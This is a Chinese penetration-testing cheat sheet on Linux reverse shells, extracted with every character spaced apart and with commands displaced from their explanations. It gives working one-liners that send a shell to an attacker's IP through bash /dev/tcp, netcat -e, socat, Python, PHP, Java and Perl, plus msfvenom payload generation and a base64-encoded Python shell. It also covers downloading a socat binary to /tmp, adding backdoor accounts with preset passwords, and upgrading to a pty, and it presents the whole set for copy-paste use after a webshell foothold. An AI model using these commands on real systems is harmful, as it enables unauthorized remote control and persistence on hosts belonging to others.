搜索

[21302] 2020-10-16_【干货】Linux环境下一句话反弹shell总结

文档创建者：s7ckTeam
浏览次数：43
最后更新：2025-01-18
2020-10-16_【干货】Linux环境下一句话反弹shell总结 【 干 货 】 L i n u x 环 境 下 一 句 话 反 弹 s h e l l 总 结 安 全 先 师   L e m o n S e c   2 0 2 0 - 1 0 - 1 6 简 介 简 介 我 们 在 渗 透 测 试 的 过 程 中 经 常 会 遇 到 我 们 在 渗 透 测 试 的 过 程 中 经 常 会 遇 到 l i n u x 主 机 环 境 ， 而 在 获 取 主 机 环 境 ， 而 在 获 取 l i n u x 主 机 主 机 s h e l l 是 我 们 经 常 需 要 做 的 是 工 作 内 容 之 一 ， 其 中 经 常 会 遇 到 以 下 几 个 场 景 。 是 我 们 经 常 需 要 做 的 是 工 作 内 容 之 一 ， 其 中 经 常 会 遇 到 以 下 几 个 场 景 。 一 、 场 景 一 一 、 场 景 一 我 们 已 经 拿 下 主 机 的 一 个 w e b s h e l l , 我 们 想 获 取 一 个 可 以 直 接 操 作 主 机 的 虚 拟 终 端 ， 此 时 我 们 首 先 想 到 的 是 开 启 一 个 s h e l l 监 听 ， 这 种 场 景 比 较 简 单 ， 我 们 直 接 使 用 使 用 n c 即 可 开 启 ， 如 果 没 有 n c 我 们 也 可 以 很 轻 松 的 直 接 下 载 安 装 一 个 ， 具 体 开 启 监 听 的 命 令 如 下 。 1 . 1   安 装 安 装 n e t c a t 这 里 需 要 注 意 一 点 默 认 的 各 个 l i n u x 发 行 版 本 已 经 自 带 了 n e t c a t 工 具 包 ， 但 是 可 能 由 于 处 于 安 全 考 虑 原 生 版 本 的 n e t c a t 带 有 可 以 直 接 发 布 与 反 弹 本 地 s h e l l 的 功 能 参 数   - e 这 里 都 被 阉 割 了 ， 所 以 我 们 需 要 手 动 下 载 二 进 制 安 装 包 ， 自 己 动 手 丰 衣 足 食 了 ， 具 体 过 程 如 下 。 原 生 版 本 n e t c a t 链 接 ： 至 此 我 们 已 经 安 装 完 成 原 生 版 本 的   n e t c a t 工 具 ， 有 了 n e t c a t   - e 参 数 ， 我 们 就 可 以 将 本 地 b a s h 完 整 发 布 到 外 网 了 。 h t t p s : / / n c h c . d l . s o u r c e f o r g e . n e t / p r o j e c t / n e t c a t / n e t c a t / 0 . 7 . 1 / n e t c a t - 0 . 7 . 1 . t a r . g z   #   第 一 步 ： 下 载 二 进 制 n e t c 安 装 包 r o o t @ h o m e - p c #   w g e t   h t t p s : / / n c h c . d l . s o u r c e f o r g e . n e t / p r o j e c t / n e t c a t / n e t c a t / 0 . 7 . 1 / n e t c a t - 0 . 7 . 1 . t a r . g z   #   第 二 步 ： 解 压 安 装 包 r o o t @ h o m e - p c #   t a r   - x v z f   n e t c a t - 0 . 7 . 1 . t a r . g z #   第 三 步 ： 编 译 安 装 r o o t @ h o m e - p c #   . / c o n f i g u r e r o o t @ h o m e - p c #   m a k e r o o t @ h o m e - p c #   m a k e   i n s t a l l r o o t @ h o m e - p c #   m a k e   c l e a n #   具 体 编 译 安 装 过 程 可 以 直 接 参 见 I N S T A L L 安 装 说 明 文 件 内 容 . . . #   第 四 步 ： 在 当 前 目 录 下 运 行 n c 帮 助 r o o t @ h o m e - p c : / t m p / n e t c a t - 0 . 7 . 1 #   n c   - h G N U   n e t c a t   0 . 7 . 1 ,   a   r e w r i t e   o f   t h e   f a m o u s   n e t w o r k i n g   t o o l . B a s i c   u s a g e s : c o n n e c t   t o   s o m e w h e r e :     n c   [ o p t i o n s ]   h o s t n a m e   p o r t   [ p o r t ]   . . . l i s t e n   f o r   i n b o u n d :         n c   - l   - p   p o r t   [ o p t i o n s ]   [ h o s t n a m e ]   [ p o r t ]   . . . t u n n e l   t o   s o m e w h e r e :       n c   - L   h o s t n a m e : p o r t   - p   p o r t   [ o p t i o n s ] M a n d a t o r y   a r g u m e n t s   t o   l o n g   o p t i o n s   a r e   m a n d a t o r y   f o r   s h o r t   o p t i o n s   t o o . O p t i o n s :     - c ,   - - c l o s e                                 c l o s e   c o n n e c t i o n   o n   E O F   f r o m   s t d i n     - e ,   - - e x e c = P R O G R A M                   p r o g r a m   t o   e x e c   a f t e r   c o n n e c t     - g ,   - - g a t e w a y = L I S T                   s o u r c e - r o u t i n g   h o p   p o i n t [ s ] ,   u p   t o   8     - G ,   - - p o i n t e r = N U M                     s o u r c e - r o u t i n g   p o i n t e r :   4 ,   8 ,   1 2 ,   . . .     - h ,   - - h e l p                                   d i s p l a y   t h i s   h e l p   a n d   e x i t     - i ,   - - i n t e r v a l = S E C S                 d e l a y   i n t e r v a l   f o r   l i n e s   s e n t ,   p o r t s   s c a n n e d     - l ,   - - l i s t e n                               l i s t e n   m o d e ,   f o r   i n b o u n d   c o n n e c t s     - L ,   - - t u n n e l = A D D R E S S : P O R T     f o r w a r d   l o c a l   p o r t   t o   r e m o t e   a d d r e s s     - n ,   - - d o n t - r e s o l v e                   n u m e r i c - o n l y   I P   a d d r e s s e s ,   n o   D N S     - o ,   - - o u t p u t = F I L E                     o u t p u t   h e x d u m p   t r a f f i c   t o   F I L E   ( i m p l i e s   - x )     - p ,   - - l o c a l - p o r t = N U M               l o c a l   p o r t   n u m b e r     - r ,   - - r a n d o m i z e                         r a n d o m i z e   l o c a l   a n d   r e m o t e   p o r t s     - s ,   - - s o u r c e = A D D R E S S               l o c a l   s o u r c e   a d d r e s s   ( i p   o r   h o s t n a m e )     - t ,   - - t c p                                     T C P   m o d e   ( d e f a u l t )     - T ,   - - t e l n e t                               a n s w e r   u s i n g   T E L N E T   n e g o t i a t i o n     - u ,   - - u d p                                     U D P   m o d e     - v ,   - - v e r b o s e                             v e r b o s e   ( u s e   t w i c e   t o   b e   m o r e   v e r b o s e )     - V ,   - - v e r s i o n                             o u t p u t   v e r s i o n   i n f o r m a t i o n   a n d   e x i t     - x ,   - - h e x d u m p                             h e x d u m p   i n c o m i n g   a n d   o u t g o i n g   t r a f f i c     - w ,   - - w a i t = S E C S                         t i m e o u t   f o r   c o n n e c t s   a n d   f i n a l   n e t   r e a d s     - z ,   - - z e r o                                   z e r o - I / O   m o d e   ( u s e d   f o r   s c a n n i n g ) R e m o t e   p o r t   n u m b e r   c a n   a l s o   b e   s p e c i f i e d   a s   r a n g e .     E x a m p l e :   ' 1 - 1 0 2 4 '
1 . 2   开 启 本 地 监 听 开 启 本 地 监 听 1 . 3   直 接 连 接 目 标 主 机 直 接 连 接 目 标 主 机 二 、 场 景 二 二 、 场 景 二 目 标 主 机 为 一 个 内 网 主 机 ， 并 没 有 公 网 I P 地 址 ， 我 们 无 法 从 外 网 发 起 对 目 标 主 机 的 远 程 连 接 ， 此 时 我 们 使 用 的 方 法 是 使 用 获 取 的 w e b s h e l l 主 动 发 起 一 个 反 弹 的 s h e l l 到 外 网 ， 然 后 获 取 一 个 目 标 主 机 的 s h e l l 终 端 控 制 环 境 ， 而 有 关 s h e l l 反 弹 的 方 法 有 很 多 这 里 简 单 介 绍 几 种 比 较 常 见 的 方 法 。 2 . 1   b a s h   直 接 反 弹 直 接 反 弹 b a s h 一 句 话 s h e l l 反 弹 ： 个 人 感 觉 最 好 用 的 用 的 方 法 就 是 使 用 的 方 法 就 是 使 用 b a s h 结 合 重 定 向 方 法 的 一 句 话 ， 具 体 命 令 如 下 。 （ 1 ）   b a s h 反 弹 一 句 话 （ 2 ） b a s h 一 句 话 命 令 详 解 以 下 针 对 常 用 的 b a s h 反 弹 一 句 话 进 行 了 拆 分 说 明 ， 具 体 内 容 如 下 。 其 实 以 上 b a s h 反 弹 一 句 完 整 的 解 读 过 程 就 是 ： b a s h 产 生 了 一 个 交 互 环 境 与 本 地 主 机 主 动 发 起 与 目 标 主 机 8 0 8 0 端 口 建 立 的 连 接 （ 即 T C P   8 0 8 0   会 话 连 接 ） 相 结 合 ， 然 后 在 重 定 向 个 t c p   8 0 8 0 会 话 连 接 ， 最 后 将 用 户 键 盘 输 入 与 用 户 标 准 输 出 相 结 合 再 次 重 定 向 给 一 个 标 准 的 输 出 ， 即 得 到 一 个 b a s h   反 弹 环 境 。 2 . 2   n e t c a t   工 具 反 弹 工 具 反 弹 N e t c a t   一 句 话 反 弹 ： N e t c a t 反 弹 也 是 非 常 常 用 的 方 法 ， 只 是 这 个 方 法 需 要 我 们 手 动 去 安 装 一 个 N C 环 境 ， 前 面 已 经 介 绍 默 认 的 l i n u x 发 型 版 现 在 自 带 的 N C 都 是 被 阉 割 过 来 ， 无 法 反 弹 一 个 b a s h 给 远 端 ， 所 以 相 对 上 面 的 b a s h 一 句 话 反 弹 显 得 就 繁 琐 很 多 ， 同 时 通 过 实 际 测 试 发 现 N C 反 弹 的 s h e l l 交 互 性 也 差 很 多 ， 后 面 会 具 体 说 道 ， 这 里 就 不 多 说 了 。 （ （ 1 ） 开 启 外 网 主 机 监 听 ） 开 启 外 网 主 机 监 听 （ （ 2 ） ）   n e t c a t 安 装 安 装 有 关 n e t c a t 的 原 生 二 进 制 安 装 包 的 编 译 安 装 内 容 请 参 考 场 景 一 中 的 具 体 说 明 ； （ （ 3 ） ） n e t c a t   反 弹 一 句 话 反 弹 一 句 话 （ （ 4 ） ） s h e l l 反 弹 成 功 反 弹 成 功 此 时 我 们 再 回 到 外 网 主 机 ， 我 们 会 发 现 t c p   8 0 8 0 监 听 已 经 接 收 到 远 端 主 机 发 起 的 连 接 ， 并 成 功 获 取 s h e l l 虚 拟 终 端 控 制 环 境 。 #   开 启 本 地 8 0 8 0 端 口 监 听 ， 并 将 本 地 的 b a s h 发 布 出 去 。 r o o t #   n c   - l v v p   8 0 8 0   - t   - e   / b i n / b a s h r o o t @ k a l i : ~ #   n c   1 9 2 . 1 6 8 . 3 1 . 4 1   8 0 8 0 w h o a m i r o o t w   2 2 : 5 7 : 3 6   u p     1 : 2 4 ,     0   u s e r s ,     l o a d   a v e r a g e :   0 . 5 2 ,   0 . 5 8 ,   0 . 5 9 U S E R           T T Y             F R O M                           L O G I N @       I D L E       J C P U       P C P U   W H A r o o t #   b a s h   - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 3 1 . 4 1 / 8 0 8 0   0 > & 1 r o o t @ k a l i : ~ #   n c   - l v v p   8 0 8 0 l i s t e n i n g   o n   [ a n y ]   8 0 8 0   . . . ~   #   n c   1 9 2 . 1 6 8 . 3 1 . 1 7 4   8 0 8 0   - t   - e   / b i n / b a s h #   命 令 详 解 ： 通 过 w e b s h e l l 我 们 可 以 使 用 n c 命 令 直 接 建 立 一 个 t c p   8 0 8 0   的 会 话 连 接 ， 然 后 将 本 地 的 b a s h 通 过 这 个 会 话 连 接 反 弹 给 目 标 主 机 （ 1 9 2 . 1 6 8 . 3 1 . 1 7 4 ） 。
2 . 3   s o c a t   反 弹 一 句 话 反 弹 一 句 话 S o c a t 是 L i n u x   下 一 个 多 功 能 的 网 络 工 具 ， 名 字 来 由 是 ”   S o c k e t   C A T ” ， 因 此 可 以 看 出 它 基 于 s o c k e t ， 能 够 折 腾 s o c k e t 相 关 的 无 数 事 情   ， 其 功 能 与 n e t c a t 类 似 ， 不 过 据 说 可 以 看 做 n e t c a t 的 加 强 版 , 事 实 上 的 确 也 是 如 此 ， n c 应 急 比 较 久 没 人 维 护 了 ， 确 实 显 得 有 些 陈 旧 了 ， 我 这 里 只 简 单 的 介 绍 下 怎 么 使 用 它 开 启 监 听 和 反 弹 s h e l l ， 其 他 详 细 内 容 可 以 参 加 见 文 末 的 参 考 学 习 。 有 关 s o c a t 二 进 制 可 执 行 文 件 ， 大 家 可 以 到 这 个 链 接 下 载 ： h t t p s : / / g i t h u b . c o m / a n d r e w - d / s t a t i c - b i n a r i e s / r a w / m a s t e r / b i n a r i e s / l i n u x / x 8 6 _ 6 4 / s o c a t （ （ 1 ） ）   攻 击 机 上 开 启 监 听 攻 击 机 上 开 启 监 听 （ （ 2 ） ）   靶 机 上 运 行 靶 机 上 运 行 s o c a t 反 弹 反 弹 s h e l l （ （ 3 ） ）   s h e l l   反 弹 成 功 反 弹 成 功 2 . 4   其 他 脚 本 一 句 话 其 他 脚 本 一 句 话 s h e l l 反 弹 反 弹 以 下 脚 本 反 弹 一 句 话 的 使 用 方 法 都 是 一 样 的 ， 只 要 在 攻 击 机 在 本 地 开 启   T C P   8 0 8 0 监 听 ， 然 后 在 远 端 靶 机 上 运 行 以 下 任 意 一 种 脚 本 语 句 ， 即 可 把 靶 机 的 b a s h 反 弹 给 攻 击 主 机 的 8 0 8 0 端 口 （ 当 然 前 提 条 件 是 目 标 主 机 上 要 有 响 应 的 脚 本 解 析 环 境 支 持 ， 才 可 以 使 用 ， 相 信 这 点 大 家 肯 定 都 是 明 白 的 ） 。 2 . 4 . 1   p y t h o n 脚 本 反 弹 脚 本 反 弹 2 . 4 . 2   p h p   脚 本 反 弹 脚 本 反 弹 2 . 4 . 3   J a v a   脚 本 反 弹 脚 本 反 弹 2 . 4 . 4   p e r l   脚 本 反 弹 脚 本 反 弹 2 . 5   m s f v e n o m   获 取 反 弹 一 句 话 获 取 反 弹 一 句 话 学 习 过 程 中 发 现 其 实 强 大 的 M S F 框 架 也 为 我 们 提 供 了 生 成 一 句 话 反 弹 s h e l l 的 工 具 ， 即 m s f v e n o m 。 绝 对 的 实 用 ， 当 我 们 不 记 得 前 面 说 的 所 有 反 弹 s h e l l 的 反 弹 语 句 时 ， 只 要 我 们 有 M e t a s p l o i t , 随 时 我 们 都 可 以 使 用 m s f v e n o m #   s o c a t   T C P - L I S T E N : 1 2 3 4 5   - #   / t m p / s o c a t   e x e c : ' b a s h   - l i ' , p t y , s t d e r r , s e t s i d , s i g i n t , s a n e   t c p : 1 9 2 . 1 6 8 . 3 1 . 1 7 4 ： 1 2 3 4 5 p y t h o n   - c   ' i m p o r t   s o c k e t , s u b p r o c e s s , o s ; s = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T , s o c k e t . S O C K _ S T R E A M ) ; s . c o n n e c t ( ( " 1 9 2 . 1 6 8 . 3 1 . 4 1 " , 8 0 8 0 ) ) ; o s . d u p 2 ( s . f i l e n o ( ) , 0 ) ;   o s . d u p 2 ( s . f i l e n o ( ) , 1 ) ;   o s . d u p 2 ( s . f i l e n o ( ) , 2 ) ; p = s u b p r o c e s s . c a l l ( [ " / b i n / s h " , " - i " ] ) ; ' p h p   - r   ' $ s o c k = f s o c k o p e n ( " 1 9 2 . 1 6 8 . 3 1 . 4 1 " , 8 0 8 0 ) ; e x e c ( " / b i n / s h   - i   < & 3   > & 3   2 > & 3 " ) ; ' r   =   R u n t i m e . g e t R u n t i m e ( ) p   =   r . e x e c ( [ " / b i n / b a s h " , " - c " , " e x e c   5 < > / d e v / t c p / 1 9 2 . 1 6 8 . 3 1 . 4 1 / 8 0 8 0 ; c a t   < & 5   |   w h i l e   r e a d   l i n e ;   d o   $ l i n e   2 > & 5   > & 5 ;   d o n e " ]   a s   S t r i n g [ ] ) p . w a i t F o r ( ) p e r l   - e   ' u s e   S o c k e t ; $ i = " 1 9 2 . 1 6 8 . 3 1 . 4 1 " ; $ p = 8 0 8 0 ; s o c k e t ( S , P F _ I N E T , S O C K _ S T R E A M , g e t p r o t o b y n a m e ( " t c p " ) ) ; i f ( c o n n e c t ( S , s o c k a d d r _ i n ( $ p , i n e t _ a t o n ( $ i ) ) ) ) { o p e n ( S T D I N , " > & S " ) ; o p e n ( S T D O U T , " > & S " ) ; o p e n ( S T D E R R , " > & S " ) ; e x e c ( " / b i n / s h   - i " ) ; } ; '
- l   来 查 询 生 成 我 们 所 需 要 的 各 类 命 令 行 一 句 话 ， 具 体 使 用 方 法 为 各 位 看 官 老 爷 们 收 集 如 下 。 2 . 5 . 1   查 询 查 询   p a y l o a d   具 体 路 径 具 体 路 径 我 们 直 接 可 以 使 用   m s f v e n o m   - l   结 合 关 键 字 过 滤 （ 如 c m d / u n i x / r e v e r s e ） ， 找 出 我 们 需 要 的 各 类 反 弹 一 句 话 p a y l o a d 的 路 径 信 息 。 查 看 以 上 截 图 ， 我 们 可 以 看 到 m s f v e n o m 支 持 生 成 反 弹 s h e l l 一 句 话 的 类 型 非 常 丰 富 ， 这 里 几 乎 是 应 有 尽 有 ， 大 家 可 以 依 据 渗 透 测 试 对 象 自 行 选 择 使 用 。 2 . 5 . 2   生 成 我 们 我 们 需 要 的 命 令 行 一 句 话 生 成 我 们 我 们 需 要 的 命 令 行 一 句 话 依 照 前 面 查 找 出 的 命 令 生 成 一 句 话 p a y l o a d 路 径 ， 我 们 使 用 如 下 的 命 令 生 成 反 弹 一 句 话 ， 然 后 复 制 粘 贴 到 靶 机 上 运 行 即 可 。 b a s h   反 弹 一 句 话 生 成 反 弹 一 句 话 生 成 阉 割 版 阉 割 版 n c 反 弹 一 句 话 生 成 反 弹 一 句 话 生 成 2 . 5 . 3   m s f v e n o m   使 用 实 例 使 用 实 例 （ 1 ）   开 启 攻 击 机 监 听 在 攻 击 机 上 开 启 本 地   T C P   1 2 3 4 5   端 口 监 听 ， 准 备 监 听 机 上 的 会 话 反 弹 ， 查 看 如 下 截 图 可 以 看 到 本 地 T C P   1 2 3 4 5   端 口 监 听 已 经 开 启 。 （ 2 ）   获 取 p y t h o n 一 句 话 我 们 此 时 可 以 借 助 于 M S F 框 架 平 台 的 m s f v e n o m   工 具 自 动 生 成 一 个 p y t h o n   反 弹 一 句 话 ， 具 体 操 作 请 参 加 如 下 截 图 。 （ 当 然 这 里 的 前 提 条 件 是 靶 机 上 安 装 有 p y t h o n 环 境 ， 现 在 默 认 一 般 的 l i n u x 发 行 版 默 认 都 安 装 有 p y t h o n 环 境 。 ） （ 3 ）   靶 机 上 运 行 p y t h o n 一 句 话 直 接 将 上 面 m s f v e n o n   生 成 的   p y t h o n   一 句 话 复 制 到 靶 机 w e b s h e l l 上 运 行 即 可 ， 我 这 里 为 演 示 方 便 ， 直 接 贴 了 一 张 使 用 k a l i 做 为 靶 机 运 行 的 截 图 。 （ 4 ）   攻 击 监 听 接 受 反 弹 情 况 三 、 场 景 三 三 、 场 景 三 #   m s f v e n o m   - l   p a y l o a d s   ' c m d / u n i x / r e v e r s e ' #   r o o t @ k a l i : ~ #   m s f v e n o m   - p   c m d / u n i x / r e v e r s e _ b a s h   l h o s t = 1 . 1 . 1 . 1   l p o r t = 1 2 3 4 5   R #   r o o t @ k a l i : ~ #   m s f v e n o m   - p   c m d / u n i x / r e v e r s e _ n e t c a t   l h o s t = 1 . 1 . 1 . 1   l p o r t = 1 2 3 4 5   R p y t h o n   - c   " e x e c ( ' a W 1 w b 3 J 0 I H N v Y 2 t l d C A g I C A g I C A g L C B z d W J w c m 9 j Z X N z I C A g I C A g I C A s I G 9 z I C A g I C A g I C A 7 I C B o b 3 N 0 P S I x O T I u M T Y 4 L j M x L j I w M C I g I C A g I C A g I D s g I H B v c n Q 9 M T I z N D U g I C A g I C A g I D s g I H M 9 c 2 9 j a 2 V 0 L n N v Y 2 t l d C h z b 2 N r Z X Q u Q U Z f S U 5 F V C A g I C A g I C A g L C B z b 2 N r Z X Q u U 0 9 D S 1 9 T V F J F Q U 0 p I C A g I C A g I C A 7 I C B z L m N v b m 5 l Y 3 Q o K G h v c 3 Q g I C A g I C A g I C w g c G 9 y d C k p I C A g I C A g I C A 7 I C B v c y 5 k d X A y K H M u Z m l s Z W 5 v K C k g I C A g I C A g I C w g M C k g I C A g I C A g I D s g I G 9 z L m R 1 c D I o c y 5 m a W x l b m 8 o K S A g I C A g I C A g L C A x K S A g I C A g I C A g O y A g b 3 M u Z H V w M i h z L m Z p b G V u b y g p I C A g I C A g I C A s I D I p I C A g I C A g I C A 7 I C B w P X N 1 Y n B y b 2 N l c 3 M u Y 2 F s b C g i L 2 J p b i 9 i Y X N o I i k = ' . d e c o d e ( ' b a s e 6 4 ' ) ) "
场 景 三 其 实 应 该 是 在 使 用 s h e l l 环 境 获 取 的 过 程 中 遇 到 的 问 题 孕 育 出 来 的 ， 大 家 如 果 经 常 使 用 前 各 种 方 法 进 行 虚 拟 终 端 环 境 获 取 的 话 ， 会 发 现 存 在 一 个 问 题 ， 就 是 我 们 即 使 获 取 了 目 标 虚 拟 终 端 控 制 权 限 ， 但 是 往 往 会 发 现 交 互 性 非 常 的 差 ， 就 是 发 现 这 个 虚 拟 回 显 信 息 与 可 交 互 性 非 常 的 差 和 不 稳 定 ， 具 体 见 情 况 有 以 下 几 个 种 。 问 题 问 题 1 ： ：   获 取 的 虚 拟 终 端 没 有 交 互 性 ， 我 们 想 给 添 加 的 账 号 设 置 密 码 ， 无 法 完 成 。   问 题 问 题 2 ： 标 准 的 错 误 输 出 无 法 显 示 ， 无 法 正 常 使 用 v i m 等 文 本 编 辑 器 等 ；   问 题 问 题 3 ： ：   获 取 的 目 标 主 机 的 虚 拟 终 端 使 用 非 常 不 稳 定 ， 很 容 易 断 开 连 接 。 针 对 以 上 问 题 个 人 学 习 和 总 结 了 以 下 的 应 对 方 法 ， 请 大 家 参 考 交 流 。 3 . 1   一 句 话 添 加 账 号 一 句 话 添 加 账 号 你 不 是 不 给 我 提 供 交 互 的 界 面 吗 ， 那 我 就 是 使 用 脚 本 式 的 方 法 ， 使 用 一 句 话 完 成 账 号 密 码 的 添 加 ， 有 关 一 句 话 账 号 密 码 的 添 加 ， 笔 者 收 集 了 以 下 几 种 方 式 。 3 . 1 . 1   c h p a s s w d   方 法 方 法 （ （ 1 ） 执 行 语 句 ） 执 行 语 句 （ （ 2 ） 操 作 实 例 ） 操 作 实 例 3 . 1 . 2   u s e r a d d   - p   方 法 方 法 （ （ 1 ） ）   执 行 语 句 执 行 语 句 （ （ 2 ） ）   操 作 实 例 操 作 实 例 （ （ 3 ） ）   相 同 方 法 其 他 实 现 相 同 方 法 其 他 实 现   相 同 方 法 不 同 实 现 一 相 同 方 法 不 同 实 现 二 3 . 1 . 3   e c h o   - e   方 法 方 法 （ 1 ） 执 行 语 句 （ 2 ）   操 作 实 例 3 . 2   p y t h o n   标 准 虚 拟 终 端 获 取 标 准 虚 拟 终 端 获 取 我 们 通 过 各 种 方 式 获 取 的 s h e l l 经 常 不 稳 定 或 者 没 有 交 互 界 面 的 原 因 ， 往 往 都 是 因 为 我 们 获 取 的 s h e l l 不 是 标 准 的 虚 拟 终 端 ， 此 时 我 们 其 实 可 以 借 助 于 p y t h o n 来 获 取 一 个 标 准 的 虚 拟 终 端 环 境 。 p y t h o n 在 现 在 一 般 发 行 版 L i n u x 系 统 中 都 会 自 带 ， 所 以 使 用 起 来 也 较 为 方 便 ， 即 使 没 有 安 装 ， 我 们 手 动 安 装 也 很 方 便 。 3 . 2 . 1   p y t h o n   一 句 话 获 取 标 准 一 句 话 获 取 标 准 s h e l l 使 用 p y t h o n   一 句 话 获 取 标 准 s h e l l 的 具 体 命 令 如 下 ： 命 令 详 解 ： p y t h o n   默 认 就 包 含 有 一 个 p t y 的 标 准 库 。 3 . 2 . 2   实 例 演 示 实 例 演 示 u s e r a d d   n e w u s e r ; e c h o   " n e w u s e r : p a s s w o r d " | c h p a s s w d r o o t @ i f l y - 2 1 1 7 1 : ~ #   u s e r a d d   g u e s t ; e c h o   ' g u e s t : 1 2 3 4 5 6 ' | c h p a s s w d r o o t @ i f l y - 2 1 1 7 1 : ~ #   v i m   / e t c / s h a d o w s s h d : * : 1 7 2 5 5 : 0 : 9 9 9 9 9 : 7 : : : p o l l i n a t e : * : 1 7 2 5 5 : 0 : 9 9 9 9 9 : 7 : : : p o s t g r e s : * : 1 7 3 9 0 : 0 : 9 9 9 9 9 : 7 : : : g u e s t : $ 6 $ H 0 a / N x . w $ c 2 5 4 9 u q X O U L Y 4 K v f C K 6 p T J Q a h h W 7 f u Y Y y H l o 8 H p n B x n U M t b X E b h g v F y w w y P o 5 U s C b S U A M V v W 9 a 7 P s J B 1 2 T X P n . : 1 7 4 2 5 : 0 : 9 9 9 9 9 : 7 : : : u s e r a d d   - p   e n c r y p t e d _ p a s s w o r d   n e w u s e r r o o t @ i f l y - 2 1 1 7 1 : ~ #   u s e r a d d   - p   ` o p e n s s l   p a s s w d   1 2 3 4 5 6 `   g u e s t r o o t @ i f l y - 2 1 1 7 1 : ~ #   v i m   / e t c / s h a d o w s s h d : * : 1 7 2 5 5 : 0 : 9 9 9 9 9 : 7 : : : p o l l i n a t e : * : 1 7 2 5 5 : 0 : 9 9 9 9 9 : 7 : : : p o s t g r e s : * : 1 7 3 9 0 : 0 : 9 9 9 9 9 : 7 : : : g u e s t : h 8 S 5 m s q J L V T f o : 1 7 4 2 5 : 0 : 9 9 9 9 9 : 7 : : : r o o t @ i f l y - 2 1 1 7 1 : ~ #   u s e r a d d   - p   " $ ( o p e n s s l   p a s s w d   1 2 3 4 5 6 ) "   g u e s t r o o t @ i f l y - 2 1 1 7 1 : ~ # u s e r _ p a s s w o r d = " ` o p e n s s l   p a s s w d   1 2 3 4 5 6 ` " u s e r a d d   - p   " $ u s e r _ p a s s w o r d "   g u e s t u s e r a d d   n e w u w e r ; e c h o   - e   " 1 2 3 4 5 6 n 1 2 3 4 5 6 n "   | p a s s w d   n e w u s e r r o o t @ i f l y - 2 1 1 7 1 : ~ #   u s e r a d d   t e s t ; e c h o   - e   " 1 2 3 4 5 6 n 1 2 3 4 5 6 n "   | p a s s w d   t e s t E n t e r   n e w   U N I X   p a s s w o r d :   R e t y p e   n e w   U N I X   p a s s w o r d :   p a s s w d :   p a s s w o r d   u p d a t e d   s u c c e s s f u l l y r o o t @ i f l y - 2 1 1 7 1 : ~ #   v i m   / e t c / s h a d o w s s h d : * : 1 7 2 5 5 : 0 : 9 9 9 9 9 : 7 : : : p o l l i n a t e : * : 1 7 2 5 5 : 0 : 9 9 9 9 9 : 7 : : : p o s t g r e s : * : 1 7 3 9 0 : 0 : 9 9 9 9 9 : 7 : : : g u e s t : h / U n n F I j q K o g w : 1 7 4 2 5 : 0 : 9 9 9 9 9 : 7 : : : t e s t : $ 6 $ r E j v w A b 2 $ n J u Z 1 M D t 0 i K b W 9 n i g p 8 g 5 4 a g e i K B D u o L O b L d 1 k W U C 2 F m L S 0 x C F F Z m U 4 d z R t X / i 2 Y p m 9 u Y 6 o K r S a 9 g z Q 6 q y k z W 1 : 1 7 4 2 5 : 0 : 9 9 9 9 9 : 7 : : : #   p y t h o n   - c   " i m p o r t   p t y ; p t y . s p a w n ( ' / b i n / b a s h ' ) "
具 体 （ 1 ） 开 启 监 听 ； （ 2 ） 反 弹 s h e l l ； （ 3 ） 会 话 建 立 的 过 程 这 里 不 在 重 复 演 示 了 ， 这 里 直 接 贴 出 笔 者 获 取 到 反 弹 s h e l l 后 的 问 题 后 ， 如 何 通 过 p y t h o n 获 取 标 准 s h e l l 的 过 程 截 图 展 现 如 下 。 虽 然 到 目 前 为 止 写 的 虚 拟 终 端 并 没 有 原 生 终 端 那 样 好 , 但 是 花 点 时 间 去 折 腾 然 后 不 断 的 去 完 善 . 相 信 会 做 的 更 好 .   大 家 可 能 在 渗 透 测 试 的 时 候 会 发 现 有 些 时 候 系 统 的 命 令 终 端 是 不 允 许 直 接 访 问 的 , 那 么 这 个 时 候 用 P y t h o n 虚 拟 化 一 个 终 端 相 信 会 让 你 眼 前 一 亮 . 四 、 写 在 最 后 四 、 写 在 最 后 最 后 将 上 面 学 习 的 内 容 做 一 下 小 结 ， 以 方 便 日 后 可 以 直 接 复 制 粘 贴 使 用 ， 笔 者 贴 心 不 ， 你 就 说 贴 心 补 贴 （ o u   t u   b u   z h i   … ） 4 . 1   n c 开 启 本 地 监 听 发 布 开 启 本 地 监 听 发 布 b a s h 服 务 服 务 4 . 2   常 用 反 弹 常 用 反 弹 s h e l l 一 句 话 一 句 话 （ 1 ）   b a s h   反 弹 一 句 话 （ 2 ）   n c   反 弹 一 句 话 （ 3 ）   s o c a t   反 弹 一 句 话 4 . 3   利 用 利 用 m s f v e n o m 获 取 反 弹 一 句 话 获 取 反 弹 一 句 话 （ 1 ）   查 询   r e v e r s e   p a y l o a d   反 弹 路 径 （ 2 ）   生 成 相 关 反 弹 一 句 话 剩 下 的 就 是 将 生 成 的 p a y l o a d   反 弹 一 句 话 直 接 复 制 到 靶 机 上 直 接 运 行 即 反 弹 一 个 s h e l l 出 来 。 4 . 4   使 用 使 用 p y t h o n 获 取 标 准 获 取 标 准 s h e l l 直 接 在 获 取 的 废 标 准 s h e l l 上 直 接 运 行 一 下 p y t h o n   一 句 话 即 可 获 取 一 个 标 准 的 s h e l l 。 4 . 5   l i n u x   一 句 话 添 加 账 户 一 句 话 添 加 账 户 （ 1 ） c h p a s s w d   方 法 （ 2 ） u s e r a d d   - p   方 法 （ 3 ） e c h o   - e   方 法 学 习 参 考 学 习 参 考 一 如 既 往 的 学 习 ， 一 如 既 往 的 整 理 ， 一 如 即 往 的 分 享 。 感 谢 支 持 学 习 渗 透 技 术 的 书 籍 推 荐 ： A P K 签 名 校 验 绕 过 c t f 系 列 文 章 整 理 #   n c   - l v v p   1 2 3 4 5   - t   - e   / b i n / b a s h #   b a s h   - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 1 . 1 2 3 / 1 2 3 4 5   0 > & 1 #   n c   1 9 2 . 1 6 8 . 1 . 1 2 3   1 2 3 4 5   - t   - e   / b i n / b a s h #   w g e t   - q   h t t p s : / / g i t h u b . c o m / a n d r e w - d / s t a t i c - b i n a r i e s / r a w / m a s t e r / b i n a r i e s / l i n u x / x 8 6 _ 6 4 / s o c a t   - O   / t m p / s o c a t             #   第 一 步 ： 下 载 s o c a t 到 / t m p 目 录 下 #   c h m o d   7 5 5   / t m p / s o c a t                     #   第 二 步 ： 给 s o c a a t 授 予 可 以 执 行 权 限 #   / t m p / s o c a t   e x e c : ' b a s h   - l i ' , p t y , s t d e r r , s e t s i d , s i g i n t , s a n e   t c p : 